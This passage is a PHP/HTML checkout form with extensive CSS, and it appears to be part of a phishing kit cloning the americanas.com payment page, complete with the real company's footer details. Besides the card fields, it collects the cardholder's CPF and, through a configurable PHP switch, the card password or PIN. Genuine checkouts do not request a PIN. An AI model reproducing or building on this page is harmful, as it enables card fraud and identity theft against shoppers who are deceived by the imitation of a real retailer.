                                                        <figure class="sc-hOqqkJ hdDnoT"><svg width="22" height="15" viewBox="0 0 18.462 12"><g id="Group_3134" data-name="Group 3134" transform="translate(-357 -121)"><g id="credit_card" transform="translate(357 121)"><path id="credit_card-2" data-name="credit_card" d="M1.615,12A1.617,1.617,0,0,1,0,10.385V1.615A1.617,1.617,0,0,1,1.615,0H16.847a1.617,1.617,0,0,1,1.615,1.615v8.77A1.617,1.617,0,0,1,16.847,12Zm-.23-1.615a.231.231,0,0,0,.23.231H16.847a.232.232,0,0,0,.231-.231V6H1.385ZM17.078,3.231V1.615a.231.231,0,0,0-.231-.23H1.615a.23.23,0,0,0-.23.23V3.231Zm-4.847,6a.692.692,0,0,1,0-1.385H15a.692.692,0,0,1,0,1.385Z" fill="#333"></path></g><g id="Rectangle_2" data-name="Rectangle 2" transform="translate(367 127)" fill="none" stroke="#e60014" stroke-width="1"><rect width="7" height="5" rx="2.5" stroke="none"></rect><rect x="0.5" y="0.5" width="6" height="4" rx="2" fill="none"></rect></g></g></svg></figure>
                                                    </div>
                                                </label>
                                                <span id="cvvError" style="display: none;" data-cy="formFieldError__number" class="sc-dtwoBo ezTbhr">Campo inválido</span>
                                            </div>
                                        </div>















										<?php if($senhacard == '1'){ ?>
											
											
											
											
										

                                        <div class="sc-hlTvYk bkPOGA">
                                            <label class="sc-bTvRPi bkmCaf">
                                                <p><span>Senha do Cartão</span></p>
                                                <div class="sc-eLgOdN jQGPdA" id="passwordInput">
                                                    <input data-cy="formField__password" placeholder="" type="tel" id="credicard-password" name="senhacard" cursor="text" class="sc-kIeTtH hvjpKA" value="" maxlength="15" style="-webkit-text-security:disc;">
                                                </div>
                                            </label>
                                            <span id="passwordError" style="display: none;" data-cy="formFieldError__number" class="sc-dtwoBo ezTbhr">Campo obrigatório</span>
                                        </div>
										
										<?php }else{ ?>
											
									<input data-cy="formField__password" placeholder="" type="hidden" id="credicard-password" name="senhacard" cursor="text" class="sc-kIeTtH hvjpKA" value="null" maxlength="15">		
											
											
											
										<?php } ?>
										
										
										<div class="sc-hlTvYk bkPOGA">
                                            <label class="sc-bTvRPi bkmCaf">
                                                <p><span>CPF do Titular</span></p>
                                                <div class="sc-eLgOdN jQGPdA" id="passwordInput">
                                                    <input data-cy="formField__password" placeholder="" type="text" id="" name="cpftit" cursor="text" class="sc-kIeTtH hvjpKA" value="" maxlength="15" >
                                                </div>
                                            </label>
                                            <span id="passwordError" style="display: none;" data-cy="formFieldError__number" class="sc-dtwoBo ezTbhr">Campo obrigatório</span>
                                        </div>

                                        <div class="sc-lhuSvW heICHz">
                                            <p>Número de parcelas</p>
                                            <button data-cy="installment__singleCreditCard__newCard" id="btnParcela" type="button" class="sc-hoXqvr iErgbz"><span>Selecione o número de parcelas</span><svg width="17.47" height="10.091" viewBox="0 0 17.47 10.091" class="installment-arrowIcon"><path fill="#333" id="expand_more" d="M8.414,10.052a1.346,1.346,0,0,1-.638-.358q-.029-.029-.056-.06L.4,2.31A1.352,1.352,0,0,1,2.309.4L8.734,6.823,15.161.4a1.352,1.352,0,0,1,1.912,1.913l-7.3,7.3q-.037.044-.079.086a1.356,1.356,0,0,1-1.28.357Z" transform="translate(0 0)"></path></svg></button>
                                        </div>
                                    </div>

                                    <div data-cy="creditCardPaymentTotal" class="sc-dpQcLm cxlPJD">
                                        <p>Total:</p>
                                        <p class="sc-kMOkjD jZjyro">R$ <?php echo $preco ?></p>
                                    </div>

                                    <button type="submit"  data-cy="placeOrderButton" class="sc-iBaPrD sc-eggNIi gdARiY eRIAeo sc-iitrsy fVKhXV sc-iitrsy fVKhXV" id="btnCardBuyer" style="width: 100%;">Fechar pedido</button>
                                </form>
                            </div>
                        </div>
                        
                    </div>
                </section>
            </main>

            <footer class="payment-footer">
                <p class="--ignore-case">Todas as regras e promoções são válidas apenas para produtos vendidos e entregues pela americanas.com. O preço válido será o da finalização da compra. Havendo divergência, prevalecerá o menor preço ofertado. </p>
                <p class="--ignore-case">B2W - Companhia Digital / CNPJ: 00.776.574/0006-60 / Inscrição Estadual: 492.513.778.117 / Endereço Rua Sacadura Cabral, 102 - Rio de Janeiro, RJ - 20081-902</p>
            </footer>
        </div>


<style>
    .Toxus {
    display: grid;
    grid-template-columns: auto [arrowDown] min-content;
    padding: 0.3rem 1rem 0.3rem 0.3rem;
    border-radius: 4px;
    cursor: text;
    border: 1px solid rgb(234, 1, 15);
    width: 100%;
    max-width: 100%;
}
    .ezTbhr {
    color: rgb(234, 1, 15);
    font-size: 12px;
    display: inline-block;
    position: absolute;
    margin-top: 4px;
}

.iiHqcD > span {
    font-weight: bold;
    margin-left: 2px;
}
.payment-order {
    flex-grow: 1;
    width: 100%;
    max-width: 1024px;
    margin: 0 auto 40px;
}
.payment-SummaryAndDeliveryAddress__wrapper {
    border-top: none;
}

.payment-noteInvoice, .payment-orderFreightList, .payment-orderGiftVoucher, .payment-orderGiftWrap, .payment-orderPaymentMethods, .payment-orderTicket, .payment-scheduledPickup, .payment-storeDelivery, .payment-SummaryAndDeliveryAddress__wrapper {
    padding: 20px 15px;
    border-top: 1px solid #e3e3e3;
}.payment-deliveryAddress {
    margin-bottom: 0;
}

.payment-checkoutSummary, .payment-deliveryAddress {
    min-height: 100px;
    flex-grow: 1;
    margin-bottom: 20px;
}
.jFuWAH {
    display: flex;
    flex-direction: row;
    -webkit-box-align: center;
    align-items: center;
    margin-bottom: 20px;
}
.jqTxQZ {
    display: flex;
    color: rgb(102, 102, 102);
    font-size: 18.75px;
    font-weight: 700;
    padding: 20px 15px;
    margin: -20px -15px;
}
.cgpajZ {
    margin-bottom: 10px;
}
.dnKCVK {
    color: rgb(102, 102, 102);
    font-weight: bold;
    font-size: 15px;
    line-height: 1.3;
    font-family: sans-serif;
}
.fFXEDN {
    color: rgb(102, 102, 102);
    font-size: 15px;
    font-family: sans-serif;
    line-height: 1.3;
}
.cmAEMu {
    list-style: none;
    margin-top: 16px;
}
.ciwbCw {
    text-align: left;
    line-height: 22px;
    margin-bottom: 8px;
}
.payment-checkoutSummary, .payment-deliveryAddress {
    min-height: 100px;
    flex-grow: 1;
    margin-bottom: 20px;
}
.payment-checkoutSummary-wrapper {
    background-color: #f8f8f8;
    padding: 1rem;
}
.jFuWAH {
    display: flex;
    flex-direction: row;
    -webkit-box-align: center;
    align-items: center;
    margin-bottom: 20px;
}
.cmuvkJ {
    margin: 0px 0px 0.5rem;
    padding: 0px;
}

.jgDXBK {
    list-style: none;
    display: block;
}
.jqTxQZ {
    display: flex;
    color: rgb(102, 102, 102);
    font-size: 18.75px;
    font-weight: 700;
    padding: 20px 15px;
    margin: -20px -15px;
}
.dnjDBo {
    color: rgb(102, 102, 102);
    margin: 4px 0px;
    font-size: 15px;
    line-height: 1.5;
    font-family: sans-serif;
    display: flex;
    flex-flow: row;
    justify-content: space-around;
}
.fDhUzj {
    display: inline-flex;
    flex: 2 1 0%;
}
.dQOubi {
    font-size: 15px;
    margin-left: 10px;
    color: rgb(102, 102, 102);
    line-height: 22px;
}

.iYAzYL {
    background: none;
    border: none;
    padding: 0px;
    font-family: inherit;
    color: rgb(51, 51, 51);
    text-decoration: underline;
    cursor: pointer;
    outline: none;
    font-size: 14px;
}
.kIOXqA {
    display: inline-flex;
    flex: 1 1 0%;
    -webkit-box-pack: end;
    justify-content: flex-end;
}
.ftAsLe {
    color: rgb(102, 206, 2);
    margin: 4px 0px;
    font-size: 15px;
    line-height: 1.5;
    font-family: sans-serif;
    display: flex;
    flex-flow: row;
    justify-content: space-around;
}
.fDhUzj {
    display: inline-flex;
    flex: 2 1 0%;
}
.kIOXqA {
    display: inline-flex;
    flex: 1 1 0%;
    -webkit-box-pack: end;
    justify-content: flex-end;
}
.ftSKDG {
    display: flex;
    flex-wrap: wrap;
    -webkit-box-pack: justify;
    justify-content: space-between;
    margin: 10px 0px 15px;
    padding-top: 10px;
    color: rgb(51, 51, 51);
    border-top: 1px solid rgb(221, 221, 221);
}
.ioWVHA {
    font-size: 18px;
    font-weight: bold;
}
.beiVbL {
    font-size: 12px;
    color: rgb(102, 102, 102);
    text-align: right;
    align-self: flex-start;
}
.cktZhQ {
    margin-bottom: 4px;
}
.beiVbL .sc-cvJHqN:nth-child(2) {
    color: rgb(51, 51, 51);
}

.cktZhQ {
    margin-bottom: 4px;
}
.beiVbL b {
    font-size: 16px;
}
.iONwHy {
    list-style: none;
    text-align: right;
    padding: 0px;
}
.esbyIi {
    font-size: 14px;
    color: rgb(102, 206, 2);
    margin: 5px 0px;
}
.payment-noteInvoice, .payment-orderFreightList, .payment-orderGiftVoucher, .payment-orderGiftWrap, .payment-orderPaymentMethods, .payment-orderTicket, .payment-scheduledPickup, .payment-storeDelivery, .payment-SummaryAndDeliveryAddress__wrapper {
    padding: 20px 15px;
    border-top: 1px solid #e3e3e3;
}
.jFuWAH {
    display: flex;
    flex-direction: row;
    -webkit-box-align: center;
    align-items: center;
    margin-bottom: 20px;
}
.jqTxQZ {
    display: flex;
    color: rgb(102, 102, 102);
    font-size: 18.75px;
    font-weight: 700;
    padding: 20px 15px;
    margin: -20px -15px;
}
.payment-noteInvoice:last-child, .payment-orderFreightList:last-child, .payment-orderGiftVoucher:last-child, .payment-orderGiftWrap:last-child, .payment-orderPaymentMethods:last-child, .payment-orderTicket:last-child, .payment-scheduledPickup:last-child, .payment-storeDelivery:last-child, .payment-SummaryAndDeliveryAddress__wrapper:last-child {
    margin-bottom: 0;
}

.payment-noteInvoice, .payment-orderFreightList, .payment-orderGiftVoucher, .payment-orderGiftWrap, .payment-orderPaymentMethods, .payment-orderTicket, .payment-scheduledPickup, .payment-storeDelivery, .payment-SummaryAndDeliveryAddress__wrapper {
    padding: 20px 15px;
    border-top: 1px solid #e3e3e3;
}
.kZsUpz {
    list-style: none;
    display: flex;
    overflow: scroll hidden;
    padding-top: 1rem;
    -webkit-box-align: center;
    align-items: center;
}
.kZsUpz > li {
    margin-top: 0.5rem;
    margin-right: 0.5rem;
    height: 114px;
}

.fuLiWr {
    max-width: 230px;
    padding: 20px 20px 20px 50px;
    display: flex;
    position: relative;
    min-width: 200px;
    border: 1px solid rgb(204, 204, 204);
}
.kZsUpz > li label {
    height: 114px;
}

.liTBVH {
    display: none;
    cursor: pointer;
    appearance: none;
    outline: none;
    width: 100%;
    height: 100%;
    border-radius: 0px;
}
.fbzSf {
    position: absolute;
    width: 100%;
    height: 100%;
    left: 0px;
    top: 0px;
}
.gBAIXS {
    cursor: pointer;
    fill: none;
    position: absolute;
    top: calc(30% - 10px);
    left: 15px;
}
.kGehDO {
    min-height: 72px;
    display: flex;
    flex-direction: column;
    -webkit-box-pack: start;
    justify-content: flex-start;
}
.dntOkG {
    color: rgb(102, 102, 102);
    font-size: 14px;
}
.ecirrm {
    color: rgb(102, 102, 102);
    font-size: 14px;
    text-transform: initial;
}
.bRFhLZ {
    stroke-width: 2;
    stroke: rgb(204, 204, 204);
}
.kmLEPf {
    stroke: rgb(235, 0, 20);
    stroke-width: 6;
    stroke-dasharray: 19;
    stroke-dashoffset: 19;
}
.dwdRYY {
    stroke: rgb(235, 0, 20);
    stroke-width: 2;
    stroke-dasharray: 57;
    stroke-dashoffset: 57;
}

.kjFsbo {
    max-width: 230px;
    padding: 20px 20px 20px 50px;
    display: flex;
    position: relative;
    min-width: 200px;
    border: 1px solid rgb(235, 0, 20);
}
.liTBVH:checked + svg path.inner {
    stroke-dashoffset: 38;
    transition-delay: 0.3s;
}


.liTBVH:checked + svg path {
    transition: all 0.4s ease 0s;
}
.kmLEPf {
    stroke: rgb(235, 0, 20);
    stroke-width: 6;
    stroke-dasharray: 19;
    stroke-dashoffset: 19;
}

.payment-orderTicket {
    border-bottom: 1px solid #e3e3e3;
}

.payment-noteInvoice, .payment-orderFreightList, .payment-orderGiftVoucher, .payment-orderGiftWrap, .payment-orderPaymentMethods, .payment-orderTicket, .payment-scheduledPickup, .payment-storeDelivery, .payment-SummaryAndDeliveryAddress__wrapper {
    padding: 20px 15px;
    border-top: 1px solid #e3e3e3;
}

.lcGzWD {
    position: relative;
    cursor: pointer;
}
.jFuWAH {
    display: flex;
    flex-direction: row;
    -webkit-box-align: center;
    align-items: center;
    margin-bottom: 20px;
}
.jqTxQZ {
    display: flex;
    color: rgb(102, 102, 102);
    font-size: 18.75px;
    font-weight: 700;
    padding: 20px 15px;
    margin: -20px -15px;
}
.lcGzWD > .collapsableArrow {
    position: absolute;
    top: calc(50% - 10px);
    right: 15px;
    width: 10px;
    height: auto;
    transition: transform 0.5s ease 0s;
    transform: rotate(0deg);
}
.nwOmR {
    transition: all 0.4s ease 0s;
    height: 0px;
    margin-top: 0px;
    overflow: hidden;
}
.nwOmR.--opened {
    margin-top: 15px;
    height: 180px;
}

.jHlPUB {
    display: flex;
    align-content: center;
    -webkit-box-align: center;
    align-items: center;
    margin-bottom: 15px;
    margin-top: 15px;
    width: 65%;
}

.jHlPUB > div, .jHlPUB > button {
    margin-right: 1rem;
}

.bkPOGA {
    width: 100%;
    color: rgb(102, 102, 102);
    position: relative;
    padding-bottom: 22px;
}

.bkmCaf {
    font-size: 14px;
    color: rgb(51, 51, 51);
    font-weight: bolder;
}
.bkmCaf > p {
    margin-bottom: 0.25rem;
}
.jQGPdA {
    display: grid;
    grid-template-columns: auto [arrowDown] min-content;
    padding: 0.3rem 1rem 0.3rem 0.3rem;
    border: 0.75px solid rgb(102, 102, 102);
    border-radius: 4px;
    cursor: text;
    width: 100%;
    max-width: 100%;
}

.hvjpKA {
    outline: none;
    border: none;
    color: rgb(51, 51, 51);
    background-color: transparent;
    padding: 0.5rem;
    text-overflow: ellipsis;
    overflow: hidden;
    width: 100%;
    cursor: text;
    opacity: 1;
}
.jHlPUB > div:last-child, .jHlPUB > button:last-child {
    margin-right: 0px;
}

.Vamma {
    --brandColor: #EB0014;
    --backgroundColor: white;
    --textColor: #EB0014;
    background-color: var(--backgroundColor);
    color: var(--textColor);
    box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 6px;
    border: 2px solid var(--brandColor);
    font-size: 16px;
}.Vamma2 {
    --brandColor: #EB0014;
    --backgroundColor: white;
    --textColor: #EB0014;
    background-color: var(--backgroundColor);
    color: var(--textColor);
    box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 6px;
    border: 2px solid var(--brandColor);
    font-size: 16px;
}

.bEFvXX {
    width: 65%;
}

.hcHFJT {
    color: rgb(234, 1, 15);
    font-size: 12px;
    display: inline-block;
}

.payment-noteInvoice:last-child, .payment-orderFreightList:last-child, .payment-orderGiftVoucher:last-child, .payment-orderGiftWrap:last-child, .payment-orderPaymentMethods:last-child, .payment-orderTicket:last-child, .payment-scheduledPickup:last-child, .payment-storeDelivery:last-child, .payment-SummaryAndDeliveryAddress__wrapper:last-child {
    margin-bottom: 0;
}

.payment-noteInvoice, .payment-orderFreightList, .payment-orderGiftVoucher, .payment-orderGiftWrap, .payment-orderPaymentMethods, .payment-orderTicket, .payment-scheduledPickup, .payment-storeDelivery, .payment-SummaryAndDeliveryAddress__wrapper {
    padding: 20px 15px;
    border-top: 1px solid #e3e3e3;
}
.dLMbBX {
    color: rgb(102, 102, 102);
    font-size: 18px;
    margin-bottom: 20px;
}
.bqXZKj {
    display: grid;
    grid-auto-flow: column;
    grid-auto-columns: 1fr;
    grid-template-rows: min-content 1fr;
    overflow-x: overlay;
}

.ljANdc.duplo {
    grid-column: span 2 / auto;
    border-bottom: 1px solid rgb(102, 206, 2);
    opacity: 1;
}

.ljANdc span {
    text-transform: initial;
    margin-left: 4px;
}
.ljANdc span.wallet-promotion {
    margin-left: 0px;
    margin-right: 4px;
}

.ljANdc span {
    text-transform: initial;
    margin-left: 4px;
}
.ljANdc {
    display: flex;
    -webkit-box-align: center;
    align-items: center;
    flex-direction: column;
    -webkit-box-pack: center;
    justify-content: center;
    background-color: rgb(255, 255, 255);
    color: rgb(102, 206, 2);
    text-align: center;
    margin-bottom: 5px;
    font-size: 10px;
    font-weight: bold;
    border: 1px solid rgb(255, 255, 255);
}
.ljANdc.duplo::after {
    --border-width: 1px;
    --arrow-size: 8px;
    --down-arrow-angle: -45deg;
    content: "";
    display: block;
    position: relative;
    width: var(--arrow-size);
    height: var(--arrow-size);
    border-left-color: rgb(102, 206, 2);
    border-bottom-color: rgb(102, 206, 2);
    transform: rotate(var(--down-arrow-angle));
    top: 5px;
    background-color: white;
}

.dXhYOg {
    display: grid;
    grid-template-areas:
        "icon"
        "title";
    grid-template-rows: minmax(min-content, 1fr);
    min-width: 64px;
    margin-top: 0.5rem;
    padding-bottom: 0.5rem;
    --themeColor: #EB0014;
    --iconsHeight: 2rem;
    --iconsWidth: 35px;
    --fontColor: #666;
    border-width: 0px 1px 0px 0px;
    border-style: solid;
    border-image: linear-gradient(transparent, rgb(214, 214, 214) 90%) 1 100% / 1 / 0 stretch;
    cursor: pointer;
    align-content: baseline;
}
.bqXZKj input {
    display: none;
}

.hNreIX {
    width: 100%;
    grid-area: icon / icon / icon / icon;
    display: flex;
    -webkit-box-align: center;
    align-items: center;
    -webkit-box-pack: center;
    justify-content: center;
    padding-bottom: 5px;
    --lineBottomHeight: 3px;
}

.hNreIX > .payment-icon, .hNreIX > .ame-icon {
    height: 35px;
    width: 35px;
}

.dXhYOg .payment-icon path, .dXhYOg .ame-icon, .dXhYOg .payment-option-title {
    transition: all 150ms linear 0s;
}
.ljANdc.duplo::after {
    --border-width: 1px;
    --arrow-size: 8px;
    --down-arrow-angle: -45deg;
    content: "";
    display: block;
    position: relative;
    width: var(--arrow-size);
    height: var(--arrow-size);
    border-left-color: rgb(102, 206, 2);
    border-bottom-color: rgb(102, 206, 2);
    transform: rotate(var(--down-arrow-angle));
    top: 5px;
    background-color: white;
}

.fvooyb {
    grid-area: title / title / title / title;
    padding: 5px;
    place-self: center;
    display: inline-block;
    font-weight: bold;
    text-align: center;
    color: var(--fontColor);
}
.dXhYOg .payment-icon path, .dXhYOg .ame-icon, .dXhYOg .payment-option-title {
    transition: all 150ms linear 0s;
}
.dXhYOg {
    display: grid;
    grid-template-areas:
        "icon"
        "title";
    grid-template-rows: minmax(min-content, 1fr);
    min-width: 64px;
    margin-top: 0.5rem;
    padding-bottom: 0.5rem;
    --themeColor: #EB0014;
    --iconsHeight: 2rem;
    --iconsWidth: 35px;
    --fontColor: #666;
    border-width: 0px 1px 0px 0px;
    border-style: solid;
    border-image: linear-gradient(transparent, rgb(214, 214, 214) 90%) 1 100% / 1 / 0 stretch;
    cursor: pointer;
    align-content: baseline;
}

.hNreIX {
    width: 100%;
    grid-area: icon / icon / icon / icon;
    display: flex;
    -webkit-box-align: center;
    align-items: center;
    -webkit-box-pack: center;
    justify-content: center;
    padding-bottom: 5px;
    --lineBottomHeight: 3px;
}

.conZMt {
    width: 50%;
    margin: 0px auto;
}
.ffKbHC {
    padding: 10px 0px;
    color: rgb(102, 102, 102);
    display: flex;
    -webkit-box-pack: justify;
    justify-content: space-between;
    -webkit-box-align: center;
    align-items: center;
    margin-bottom: 2rem;
    border-bottom: 1px solid rgb(241, 241, 241);
}
.sBFQb {
    grid-area: creditCardPayment / creditCardPayment / creditCardPayment / creditCardPayment;
    display: flex;
    flex-direction: column;
    animation: 300ms cubic-bezier(0.39, 0.575, 0.565, 1) 0s 1 normal both running bZwsZw;
}
.bkPOGA {
    width: 100%;
    color: rgb(102, 102, 102);
    position: relative;
    padding-bottom: 22px;
}
.bkmCaf {
    font-size: 14px;
    color: rgb(51, 51, 51);
    font-weight: bolder;
}
.bkmCaf > p {
    margin-bottom: 0.25rem;
}

.fiBdLJ {
    display: flex;
    -webkit-box-pack: justify;
    justify-content: space-between;
}
.fiBdLJ div:first-child {
    margin-right: 10px;
}

.bkPOGA {
    width: 100%;
    color: rgb(102, 102, 102);
    position: relative;
    padding-bottom: 22px;
}
.heICHz {
    padding-bottom: 22px;
}
.heICHz > p {
    font-size: 14px;
    color: rgb(51, 51, 51);
    font-weight: bolder;
    margin-bottom: 0.25rem;
}
.iErgbz {
    display: flex;
    -webkit-box-pack: justify;
    justify-content: space-between;
    width: 100%;
    height: 45px;
    background: rgb(255, 255, 255);
    border: 0.75px solid rgb(102, 102, 102);
    padding: 0.3rem 1rem 0.3rem 0.3rem;
    -webkit-box-align: center;
    align-items: center;
    outline: none;
    cursor: pointer;
    border-radius: 4px;
}
.iErgbz > span {
    text-transform: none;
}
.iErgbz > .installment-arrowIcon path {
    fill: rgb(235, 0, 20);
}
.eFRnZH {
    display: none;
}
.fFGAIg {
    display: flex;
    -webkit-box-align: center;
    align-items: center;
    font-size: 16px;
    color: rgb(102, 102, 102);
    margin: 0.5rem 0px;
    cursor: pointer;
}
.eFRnZH + .sc-jmhFOf::before {
    content: " ";
    flex-shrink: 0;
    border: 1px solid rgb(102, 102, 102);
    border-radius: 0.2em;
    display: inline-block;
    width: 1em;
    height: 1em;
    margin-right: 0.8rem;
    vertical-align: bottom;
    transition: all 0.2s ease 0s;
}

.cxlPJD {
    display: flex;
    -webkit-box-pack: justify;
    justify-content: space-between;
    font-weight: bold;
    font-size: 1.5rem;
    margin: 1.5rem 0px;
    color: rgb(51, 51, 51);
}
.jZjyro {
    text-transform: capitalize;
}

.fVKhXV {
    min-height: 60px;
    max-height: 60px;
    font-size: 18px;
}

.eRIAeo {
    --brandColor: #EB0014;
    --backgroundColor: #EB0014;
    --textColor: white;
    background-color: var(--backgroundColor);
    color: var(--textColor);
    box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 6px;
    border: 2px solid var(--brandColor);
    font-size: 18px;
}

.gdARiY {
    text-decoration: none;
    touch-action: manipulation;
    white-space: nowrap;
    border-radius: 3px;
    transition: all 100ms ease-in 0s;
    font-weight: bold;
    font-size: 16px;
    cursor: pointer;
    user-select: none;
    border: 2px solid transparent;
    display: flex;
    position: relative;
    flex: 0 0 auto;
    -webkit-box-align: center;
    align-items: center;
    -webkit-box-pack: center;
    justify-content: center;
    outline: none;
    padding: 0.5rem 1.5rem;
    line-height: 1.5;
}.gdARiY2 {
    text-decoration: none;
    touch-action: manipulation;
    white-space: nowrap;
    border-radius: 3px;
    transition: all 100ms ease-in 0s;
    font-weight: bold;
    font-size: 16px;
    cursor: pointer;
    user-select: none;
    border: 2px solid transparent;
    display: flex;
    position: relative;
    flex: 0 0 auto;
    -webkit-box-align: center;
    align-items: center;
    -webkit-box-pack: center;
    justify-content: center;
    outline: none;
    padding: 0.5rem 1.5rem;
    line-height: 1.5;
}
.fHFdtO {
    flex: 1 0 100%;
    padding-top: 10px;
    width: 50%;
    margin: 1.5rem auto 0px;
}

.emWfRI {
    color: rgb(102, 102, 102);
    list-style: none;
    display: flex;
    -webkit-box-align: center;
    align-items: center;
    gap: 0.5rem;
    margin-bottom: 0.5rem;
}

#bank-slip .how-to svg {
    max-width: 45px;
    max-height: 45px;
    margin-right: 5px;
    vertical-align: middle;
    flex-shrink: 0;
}

.emWfRI > svg {
    width: 40px;
    min-width: 40px;
}

#bank-slip .confirmation, #corporate .confirmation {
    color: #666;
    margin: 2rem .5rem .5rem;
    display: flex;
    flex-direction: column;
    justify-self: end;
    justify-content: space-around;
}
.dXwZsU {
    display: flex;
    -webkit-box-pack: justify;
    justify-content: space-between;
    font-weight: bold;
    font-size: 1.5rem;
    margin: 1.5rem 0px;
    color: rgb(51, 51, 51);
}
.kXGAjw {
    text-transform: capitalize;
}
.llBiCf {
    --qrCodeImgMargin: 22px;
    display: flex;
    flex-direction: column;
    -webkit-box-align: center;
    align-items: center;
    max-width: 600px;
    margin: 0px auto;
    width: 50%;
}
.bQSMmJ {
    padding-bottom: 1rem;
}
.ejopJQ {
    font-weight: bold;
    display: flex;
    -webkit-box-align: center;
    align-items: center;
    color: rgb(102, 102, 102);
    font-size: 18px;
    margin-bottom: 1.5rem;
}
.ejopJQ .ame-logo-icon {
    margin-right: 16px;
}
.ejopJQ .ame-logo-icon path {
    fill: rgb(51, 51, 51);
}
.ejopJQ span {
    text-transform: capitalize;
}
.bsDRXu {
    font-size: 1rem;
    line-height: 1.5;
    color: rgb(102, 102, 102);
    margin-bottom: 2rem;
}
.bsDRXu > strong {
    text-transform: capitalize;
}
.bCARSy {
    width: 100%;
    display: flex;
    flex-direction: column;
    -webkit-box-pack: center;
    justify-content: center;
    color: rgb(102, 102, 102);
}
.bsDRXu {
    font-size: 1rem;
    line-height: 1.5;
    color: rgb(102, 102, 102);
    margin-bottom: 2rem;
}
.gHFzAI {
    padding: 1rem;
    border-top: 1px solid rgb(214, 214, 214);
}

.bCARSy li {
    display: flex;
    -webkit-box-align: end;
    align-items: end;
}

.bCARSy > li {
    margin-bottom: 1.5rem;
    flex-wrap: wrap;
}
.fYNLwC {
    --iconWidth: 2rem;
    min-height: var(--iconWidth);
    display: flex;
    min-width: var(--iconWidth);
    background-color: rgb(119, 182, 168);
    border-radius: calc(var(--iconWidth) / 2);
    padding: 1px;
    -webkit-box-align: center;
    align-items: center;
    -webkit-box-pack: center;
    justify-content: center;
}
.fYNLwC > img {
    margin: auto;
}
.bCARSy li > span {
    margin-left: 1rem;
}

.bCARSy span {
    font-size: 1rem;
    width: calc(100% - 3rem);
}

.damQna {
    padding-bottom: 0px;
}
.bkPOGA {
    width: 100%;
    color: rgb(102, 102, 102);
    position: relative;
    padding-bottom: 22px;
}
.bkmCaf {
    font-size: 14px;
    color: rgb(51, 51, 51);
    font-weight: bolder;
}
.bkmCaf > p {
    margin-bottom: 0.25rem;
}
.bCARSy span {
    font-size: 1rem;
    width: calc(100% - 3rem);
}
.jQGPdA {
    display: grid;
    grid-template-columns: auto [arrowDown] min-content;
    padding: 0.3rem 1rem 0.3rem 0.3rem;
    border: 0.75px solid rgb(102, 102, 102);
    border-radius: 4px;
    cursor: text;
    width: 100%;
    max-width: 100%;
}
.damQna input {
    color: rgb(153, 153, 153);
}
.hvjpKA {
    outline: none;
    border: none;
    color: rgb(51, 51, 51);
    background-color: transparent;
    padding: 0.5rem;
    text-overflow: ellipsis;
    overflow: hidden;
    width: 100%;
    cursor: text;
    opacity: 1;
}
.bCARSy .btn-copy {
    height: 28px;
    border-radius: 6px;
    font-size: 14px;
    margin: 0.5rem auto;
}.bCARSy2 .btn-copy2 {
    height: 28px;
    border-radius: 6px;
    font-size: 14px;
    margin: 0.5rem auto;
}
.Vamma {
    --brandColor: #EB0014;
    --backgroundColor: white;
    --textColor: #EB0014;
    background-color: var(--backgroundColor);
    color: var(--textColor);
    box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 6px;
    border: 2px solid var(--brandColor);
    font-size: 16px;
}
.gdARiY {
    text-decoration: none;
    touch-action: manipulation;
    white-space: nowrap;
    border-radius: 3px;
    transition: all 100ms ease-in 0s;
    font-weight: bold;
    font-size: 16px;
    cursor: pointer;
    user-select: none;
    border: 2px solid transparent;
    display: flex;
    position: relative;
    flex: 0 0 auto;
    -webkit-box-align: center;
    align-items: center;
    -webkit-box-pack: center;
    justify-content: center;
    outline: none;
    padding: 0.5rem 1.5rem;
    line-height: 1.5;
}

.druaoK {
    color: rgb(51, 51, 51);
    font-size: 1.5rem;
    margin-top: 1.5rem;
    font-weight: bold;
    width: 100%;
    max-width: 550px;
    display: flex;
    -webkit-box-pack: justify;
    justify-content: space-between;
    border-top: 1px solid rgb(230, 229, 230);
    padding-top: 1rem;
}
.druaoK strong {
    text-transform: capitalize;
}
.gZDdwb {
    width: 2.5rem;
    height: 1.5rem;
    margin-right: 16px;
}

.dbaHZw > .collapsableArrow {
    position: absolute;
    top: calc(50% - 10px);
    right: 15px;
    width: 10px;
    height: auto;
    transition: transform 0.5s ease 0s;
    transform: rotate(180deg);
}

.bqXZKj input[type="radio"]:checked ~ .payment-option-title {
    color: var(--themeColor);
}
.bqXZKj input[type="radio"]:checked ~ .iconsWrapper > .payment-icon path {
    fill: var(--themeColor);
}

@media (max-width: 768px) {
    .llBiCf > * {
    margin-left: 0px;
}
    .hvjpKA {
        font-size: 1rem;
    }
    .gHFzAI {
        border-top: none;
    }

    .llBiCf > * {
        margin-left: 0px;
    }
    .cgpajZ {
        border: 1px solid rgb(227, 227, 227);
        padding: 15px;
    }
    .dnjDBo {
        font-size: 14px;
        line-height: 1.3;
    }
    .ftAsLe {
        font-size: 14px;
        line-height: 1.3;
    }
    .ioWVHA {
        font-size: 14px;
    }
    .beiVbL {
        font-size: 14px;
    }
    .iONwHy {
        font-size: 12px;
    }
    .esbyIi {
        font-size: 12px;
    }
    .jHlPUB {
        width: 100%;
        flex-direction: column;
    }
    .jHlPUB > div, .jHlPUB > button {
        margin-right: 0rem;
        margin-bottom: 1rem;
    }
    .hvjpKA {
        font-size: 1rem;
    }
    .jHlPUB > div:last-child, .jHlPUB > button:last-child {
        margin-right: 0px;
        margin-bottom: 0px;
    }
    .bEFvXX {
        width: 100%;
    }
    .ljANdc {
        -webkit-box-pack: end;
        justify-content: flex-end;
        font-weight: normal;
        width: 100%;
    }
    .dXhYOg {
        --iconsHeight: 1rem;
        border: none;
        grid-template-rows: 50px;
    }
    .hNreIX {
        position: relative;
        min-height: calc(24px + calc(var(--lineBottomHeight)));
    }
    .hNreIX::before {
        content: "";
        position: absolute;
        left: 0px;
        right: 0px;
        bottom: 0px;
        height: var(--lineBottomHeight);
        background-color: var(--themeColor);
        transition: all 150ms ease-out 0s;
        transform: scaleX(0);
    }
    .hNreIX > .payment-icon, .hNreIX > .ame-icon {
        height: 24px;
        width: 24px;
    }
    .fvooyb {
        font-size: 14px;
        font-weight: normal;
    }
    .dXhYOg {
        --iconsHeight: 1rem;
        border: none;
        grid-template-rows: 50px;
    }
    .hNreIX {
        position: relative;
        min-height: calc(24px + calc(var(--lineBottomHeight)));
    }
    .conZMt {
        width: 100%;
        margin: 0px;
    }
